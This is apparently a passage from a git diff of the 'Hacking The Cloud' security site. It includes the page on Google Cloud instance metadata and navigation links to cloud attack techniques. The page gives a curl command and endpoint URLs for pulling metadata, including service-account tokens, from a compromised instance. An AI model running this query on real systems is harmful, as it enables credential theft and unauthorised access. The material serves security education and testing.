href=../../../aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../../aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4 checked> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=true> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1 checked> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=true> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#metadata-endpoints class=md-nav__link> <span class=md-ellipsis> Metadata Endpoints </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#metadata-endpoints class=md-nav__link> <span class=md-ellipsis> Metadata Endpoints </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Jan Slezak</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/gcp/general-knowledge/metadata_in_google_cloud_instances.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Metadata in Google Cloud Instances</h1> <p>Metadata can provide an attacker (or regular user) information about the compromised App Engine instance, such as its project ID, service accounts, and tokens used by those service accounts. </p> <p>The metadata can be accessed by a regular HTTP GET request or cURL, sans any third-party client libraries by making a request to metadata.google.internal or 169.254.169.254. </p> <p><div class=highlight><pre><span></span><code>curl &quot;http://metadata.google.internal/computeMetadata/v1/?recursive=true&amp;alt=text&quot; -H
 &quot;Metadata-Flavor: Google&quot;
 </code></pre></div> <em>Note: If you are using your local terminal to attempt access, as opposed to Google's Web Console, you will need to add <code>169.254.169.254 metadata.google.internal</code> to your <code>/etc/hosts</code> file.</em></p> <h2 id=metadata-endpoints>Metadata Endpoints<a class=headerlink href=#metadata-endpoints title="Permanent link">&para;</a></h2> <p>For basic enumeration, an attacker can target. <div class=highlight><pre><span></span><code>http://169.254.169.254/computeMetadata/v1/
 http://metadata.google.internal/computeMetadata/v1/
diff --git a/gcp/general-knowledge/security-and-constraints/index.html b/gcp/general-knowledge/security-and-constraints/index.html
index 756aa74de..17b360ee2 100644
--- a/gcp/general-knowledge/security-and-constraints/index.html
+++ b/gcp/general-knowledge/security-and-constraints/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Security considerations and constraints that are unique to GCP"><link href=https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/ rel=canonical><link href=../metadata_in_google_cloud_instances/ rel=prev><link href=../../enumeration/enum_email_addresses/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Security and Constraints - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Security and Constraints - Hacking The Cloud"><meta property=og:description content="Security considerations and constraints that are unique to GCP"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/security-and-constraints.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Security and Constraints - Hacking The Cloud"><meta property=twitter:description content="Security considerations and constraints that are unique to GCP"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/security-and-constraints.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Security considerations and constraints that are unique to GCP"><link href=https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/ rel=canonical><link href=../metadata_in_google_cloud_instances/ rel=prev><link href=../../enumeration/enum_email_addresses/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Security and Constraints - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Security and Constraints - Hacking The Cloud"><meta property=og:description content="Security considerations and constraints that are unique to GCP"><meta property=og:image content=https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/security-and-constraints.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/gcp/general-knowledge/security-and-constraints/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Security and Constraints - Hacking The Cloud"><meta property=twitter:description content="Security considerations and constraints that are unique to GCP"><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/gcp/general-knowledge/security-and-constraints.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,6 +7,6 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#examples class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Security and Constraints </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source 